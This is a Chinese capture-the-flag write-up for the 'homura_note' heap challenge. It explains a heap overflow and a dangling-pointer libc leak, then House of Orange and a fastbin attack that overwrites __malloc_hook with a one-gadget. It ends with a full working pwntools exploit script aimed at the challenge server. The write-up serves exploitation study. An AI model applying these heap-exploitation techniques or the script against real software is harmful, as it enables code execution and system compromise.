CGCTF-homura_note

House of Orange & Fastbin Attack

简单分析

程序初始化了2个大小为0x88的note,内容是两个字符串。

程序有三个函数,addshowpandorabox

其中,add函数功能是分配一个note,大小限制为0-4096字节,但是读入内容时没有限制大小,存在堆溢出。

show函数功能是输出一个note的内容。

pandorabox函数只能使用一次,功能为输出初始的两个note的内容,然后free这两个note进unsortedbin,fd和bk指针指向main_arena+88,但是并没有把指向这两个note的指针置零,所以执行完这个函数之后使用show函数输出note0的内容,就可以得到main_arena+88的地址,也就得到了libc的所有地址。

House of Orange

House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。

通过控制top chunk的size,可以使得free出的是fastbin,并且控制fastbin的size是0x71,这样在之后能够在malloc_hook之前构造大小为0x7f的chunk,使用Fastbin Attack写内容到malloc_hook

1
add(0xe40,'d'*0xe40+p64(0)+p64(0x91))
add(0x90,'c')

经过精心的构造,这样就分配出size为0x71的fastbin。

Fastbin Attack

在进行Fastbin Attack,还需要先泄漏libc地址:

1
sh.recvuntil(">>")
sh.sendline('3')
sh.recvuntil('(yes:1)')
sh.sendline('1')
show(0)
sh.recvuntil(':')
leak=u64(sh.recv(6)+"\x00\x00")
fakechunk=leak-88-16-0x20-3
onegadget_addr=leak-88-0x3bfb00+0xf241b

此时Fastbin里只有一块,并且fd指针指向0x0,设法修改fd指针,即可实现Fastbin Attack。

因为之前使用pandorabox时,free掉了初始化的两个note,并且合并成了一块大小为0x121。

这时申请一块大小为0x110的note,就会分配到之前初始化的note的地址,因为这个地址是在置入fastbin的note之前的,所以利用堆溢出可以修改fd指针。

1
add(0x110,'a'*0xf60+p64(0)+p64(0x71)+p64(fakechunk))
add(0x60,'a')
add(0x60,'a'*19+p64(onegadget_addr))
sh.interactive()

之后再申请一块任意大小的note,就会调用malloc_hook里的onegadget,获取shell。

利用脚本

1
from pwn import *
#sh=process('./note')
sh=remote('45.76.173.177',5678)
libc=ELF('./libc6_2.24-12ubuntu1_amd64.so')
onegadget=[0x45556,0x455aa,0xf15a1,0xf241b]
def add(size,content):
	sh.recvuntil('>>')
	sh.sendline('1')
	sh.recvuntil(':')
	sh.sendline(str(int(size)))
	sh.recvuntil(':')
	sh.sendline(content)
def show(index):
	sh.recvuntil('>>')
	sh.sendline('2')
	sh.recvuntil(':')
	sh.sendline(str(index))
add(0xe40,'d'*0xe40+p64(0)+p64(0x91))
add(0x90,'c')
sh.recvuntil(">>")
sh.sendline('3')
sh.recvuntil('(yes:1)')
sh.sendline('1')
show(0)
sh.recvuntil(':')
leak=u64(sh.recv(6)+"\x00\x00")
fakechunk=leak-88-16-0x20-3
onegadget_addr=leak-88-0x3bfb00+0xf241b
add(0x110,'a'*0xf60+p64(0)+p64(0x71)+p64(fakechunk))
add(0x60,'a')
add(0x60,'a'*19+p64(onegadget_addr))
sh.interactive()
文章目录
  1. 1. 简单分析
  2. 2. House of Orange
  3. 3. Fastbin Attack
  4. 4. 利用脚本
|